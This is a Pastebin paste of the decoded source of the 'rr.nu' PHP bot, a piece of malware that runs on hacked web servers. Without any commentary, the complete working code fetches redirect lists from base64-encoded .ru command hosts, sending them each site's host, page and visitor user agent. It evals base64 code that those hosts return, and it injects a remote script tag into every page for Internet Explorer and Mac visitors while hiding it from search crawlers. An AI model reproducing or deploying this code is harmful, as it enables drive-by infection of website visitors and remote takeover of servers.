Pythorian

Malware rr.nu PHP Bot (Decoded)

Oct 6th, 2012
172
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.73 KB | None | 0 0
  1. <?php
  2. if(function_exists('ob_start')&&!isset($_SERVER['mr_no']))
  3. {
  4.     $_SERVER['mr_no']=1;
  5.     if(!function_exists('mrobh'))
  6.     {
  7.         function get_tds_777($url)
  8.         {
  9.             $content="";
  10.             $content=@trycurl_777($url);
  11.             if($content!==false)return $content;
  12.                 $content=@tryfile_777($url);
  13.             if($content!==false)return $content;
  14.                 $content=@tryfopen_777($url);
  15.             if($content!==false)return $content;
  16.                 $content=@tryfsockopen_777($url);
  17.             if($content!==false)return $content;
  18.                 $content=@trysocket_777($url);
  19.             if($content!==false)return $content;
  20.                 return '';
  21.         }
  22.         function trycurl_777($url)
  23.         {
  24.             if(function_exists('curl_init')===false)
  25.                 return false;
  26.             $ch = curl_init ();
  27.             curl_setopt ($ch, CURLOPT_URL,$url);
  28.             curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  29.             curl_setopt ($ch, CURLOPT_TIMEOUT, 5);
  30.             curl_setopt ($ch, CURLOPT_HEADER, 0);
  31.             $result = curl_exec ($ch);
  32.             curl_close($ch);
  33.             if ($result=="")
  34.                 return false;
  35.             return $result;
  36.         }
  37.         function tryfile_777($url)
  38.         {
  39.             if(function_exists('file')===false)return false;
  40.             $inc=@file($url);
  41.             $buf=@implode('',$inc);
  42.             if ($buf=="")return false;
  43.             return $buf;
  44.         }
  45.         function tryfopen_777($url)
  46.         {
  47.             if(function_exists('fopen')===false)
  48.                 return false;
  49.             $buf='';
  50.             $f=@fopen($url,'r');
  51.             if ($f)
  52.             {
  53.                 while(!feof($f))
  54.                 {
  55.                     $buf.=fread($f,10000);
  56.                 }
  57.                 fclose($f);
  58.             }
  59.             else
  60.                 return false;
  61.             if ($buf=="")
  62.                 return false;
  63.             return $buf;
  64.         }
  65.         function tryfsockopen_777($url)
  66.         {
  67.             if(function_exists('fsockopen')===false)
  68.                 return false;
  69.             $p=@parse_url($url);
  70.             $host=$p['host'];
  71.             $uri=$p['path'].'?'.$p['query'];
  72.             $f=@fsockopen($host,80,$errno, $errstr,30);
  73.             if(!$f)
  74.                 return false;
  75.             $request ="GET $uri HTTP/1.0\n";
  76.             $request.="Host: $host\n\n";
  77.             fwrite($f,$request);
  78.             $buf='';
  79.             while(!feof($f))
  80.             {
  81.                 $buf.=fread($f,10000);
  82.             }
  83.             fclose($f);
  84.             if ($buf=="")
  85.                 return false;
  86.             list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);
  87.             return $buf;
  88.         }
  89.         function trysocket_777($url)
  90.         {
  91.             if(function_exists('socket_create')===false)
  92.                 return false;
  93.             $p=@parse_url($url);
  94.             $host=$p['host'];
  95.             $uri=$p['path'].'?'.$p['query'];
  96.             $ip1=@gethostbyname($host);
  97.             $ip2=@long2ip(@ip2long($ip1));
  98.             if ($ip1!=$ip2)
  99.                 return false;
  100.             $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
  101.             if (!@socket_connect($sock,$ip1,80))
  102.             {
  103.                 @socket_close($sock);
  104.                 return false;
  105.             }
  106.             $request ="GET $uri HTTP/1.0\n";
  107.             $request.="Host: $host\n\n";
  108.             socket_write($sock,$request);
  109.             $buf='';
  110.             while($t=socket_read($sock,10000))
  111.             {
  112.                 $buf.=$t;
  113.             }
  114.             @socket_close($sock);
  115.             if ($buf=="")
  116.                 return false;
  117.             list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);
  118.             return $buf;   
  119.         }
  120.         function update_tds_file_777($tdsfile)
  121.         {
  122.             $actual1=$_SERVER['s_a1'];
  123.             $actual2=$_SERVER['s_a2'];
  124.             $val=get_tds_777($actual1);
  125.             if ($val=="")
  126.                 $val=get_tds_777($actual2);
  127.             $f=@fopen($tdsfile,"w");
  128.             if ($f)
  129.             {
  130.                 @fwrite($f,$val);
  131.                 @fclose($f);
  132.             }
  133.             if (strstr($val,"|||CODE|||"))
  134.             {
  135.                 list($val,$code)=explode("|||CODE|||",$val);
  136.                 eval(base64_decode($code));
  137.             }
  138.             return $val;
  139.         }
  140.         function get_actual_tds_777()
  141.         {
  142.             $defaultdomain=$_SERVER['s_d1'];
  143.             $dir=$_SERVER['s_p1'];
  144.             $tdsfile=$dir."log1.txt";
  145.             if (@file_exists($tdsfile))
  146.             {
  147.                 $mtime=@filemtime($tdsfile);
  148.                 $ctime=time()-$mtime;
  149.                 if ($ctime>$_SERVER['s_t1'])
  150.                 {
  151.                     $content=update_tds_file_777($tdsfile);
  152.                 }
  153.                 else
  154.                 {
  155.                     $content=@file_get_contents($tdsfile);
  156.                 }
  157.             }
  158.             else
  159.             {
  160.                 $content=update_tds_file_777($tdsfile);
  161.             }
  162.             $tds=@explode("\n",$content);
  163.             $c=@count($tds)+0;
  164.             $url=$defaultdomain;
  165.             if ($c>1)
  166.             {
  167.                 $url=trim($tds[mt_rand(0,$c-2)]);
  168.             }
  169.             return $url;
  170.         }
  171.         function is_mac_777($ua)
  172.         {
  173.             $mac=0;
  174.             if (stristr($ua,"mac")||stristr($ua,"safari"))
  175.                 if ((!stristr($ua,"windows"))&&(!stristr($ua,"iphone")))
  176.                     $mac=1;
  177.             return $mac;
  178.         }
  179.         function is_msie_777($ua)
  180.         {
  181.             $msie=0;
  182.             if (stristr($ua,"MSIE 6")||stristr($ua,"MSIE 7")||stristr($ua,"MSIE 8")||stristr($ua,"MSIE 9"))
  183.                 $msie=1;
  184.             return $msie;
  185.         }
  186.         function setup_globals_777()
  187.         {
  188.             $rz=$_SERVER["DOCUMENT_ROOT"]."/.logs/";
  189.             $mz="/tmp/";
  190.             if (!@is_dir($rz))
  191.             {
  192.                 @mkdir($rz);
  193.                 if (@is_dir($rz))
  194.                 {
  195.                     $mz=$rz;
  196.                 }
  197.                 else
  198.                 {
  199.                     $rz=$_SERVER["SCRIPT_FILENAME"]."/.logs/";
  200.                     if (!@is_dir($rz))
  201.                     {
  202.                         @mkdir($rz);
  203.                         if (@is_dir($rz))
  204.                         {
  205.                             $mz=$rz;
  206.                         }
  207.                     }
  208.                     else
  209.                     {
  210.                         $mz=$rz;
  211.                     }
  212.                 }
  213.             }
  214.             else
  215.             {
  216.                 $mz=$rz;
  217.             }
  218.             $bot=0;
  219.             $ua=$_SERVER['HTTP_USER_AGENT'];
  220.             if (stristr($ua,"msnbot")||stristr($ua,"Yahoo"))
  221.                 $bot=1;
  222.             if (stristr($ua,"bingbot")||stristr($ua,"google"))
  223.                 $bot=1;
  224.             $msie=0;
  225.             if (is_msie_777($ua))
  226.                 $msie=1;
  227.             $mac=0;
  228.             if (is_mac_777($ua))
  229.                 $mac=1;
  230.             if (($msie==0)&&($mac==0))
  231.                 $bot=1;
  232.             global $_SERVER;
  233.             $_SERVER['s_p1']=$mz;
  234.             $_SERVER['s_b1']=$bot;
  235.             $_SERVER['s_t1']=1200;
  236.             $_SERVER['s_d1']=base64_decode('aHR0cDovL2VuczEyMnp6emRkYXp6LmNvbS8=');
  237.             $d='?d='.urlencode($_SERVER["HTTP_HOST"])."&p=".urlencode($_SERVER["PHP_SELF"])."&a=".urlencode($_SERVER["HTTP_USER_AGENT"]);
  238.             $_SERVER['s_a1']=base64_decode('aHR0cDovL3BtZ2N6a2luZml1bS5ydS9nX2xvYWQucGhw').$d;
  239.             $_SERVER['s_a2']=base64_decode('aHR0cDovL2luZmlwbWcucnUvZ19sb2FkLnBocA==').$d;
  240.             $_SERVER['s_script']="pmg.php?d=x";
  241.         }
  242.         setup_globals_777();
  243.         if(!function_exists('gml_777'))
  244.         {
  245.             function gml_777()
  246.             {
  247.                 $r_string_777='';
  248.                 if ($_SERVER['s_b1']==0)
  249.                     $r_string_777='<script src="'.get_actual_tds_777().$_SERVER['s_script'].'"></script>';
  250.                 return $r_string_777;
  251.             }
  252.         }
  253.         if(!function_exists('gzdecodeit'))
  254.         {
  255.             function gzdecodeit($decode)
  256.             {
  257.                 $t=@ord(@substr($decode,3,1));
  258.                 $start=10;
  259.                 $v=0;
  260.                 if($t&4)
  261.                 {
  262.                     $str=@unpack('v',substr($decode,10,2));
  263.                     $str=$str[1];
  264.                     $start+=2+$str;
  265.                 }
  266.                 if($t&8)
  267.                 {
  268.                     $start=@strpos($decode,chr(0),$start)+1;
  269.                 }
  270.                 if($t&16)
  271.                 {
  272.                     $start=@strpos($decode,chr(0),$start)+1;
  273.                 }
  274.                 if($t&2)
  275.                 {
  276.                     $start+=2;
  277.                 }
  278.                 $ret=@gzinflate(@substr($decode,$start));
  279.                 if($ret===FALSE)
  280.                 {
  281.                     $ret=$decode;
  282.                 }
  283.                 return $ret;
  284.             }
  285.         }
  286.         function mrobh($content)
  287.         {
  288.             @Header('Content-Encoding: none');
  289.             $decoded_content=gzdecodeit($content);
  290.             if(preg_match('/\<\/body/si',$decoded_content))
  291.             {
  292.                 return preg_replace('/(\<\/body[^\>]*\>)/si',gml_777()."\n".'$1',$decoded_content);
  293.             }
  294.             else
  295.             {
  296.                 return $decoded_content.gml_777();
  297.             }
  298.         }
  299.     ob_start('mrobh');
  300.     }
  301. }
  302.  
  303. ?>
Add Comment
Please, Sign In to add comment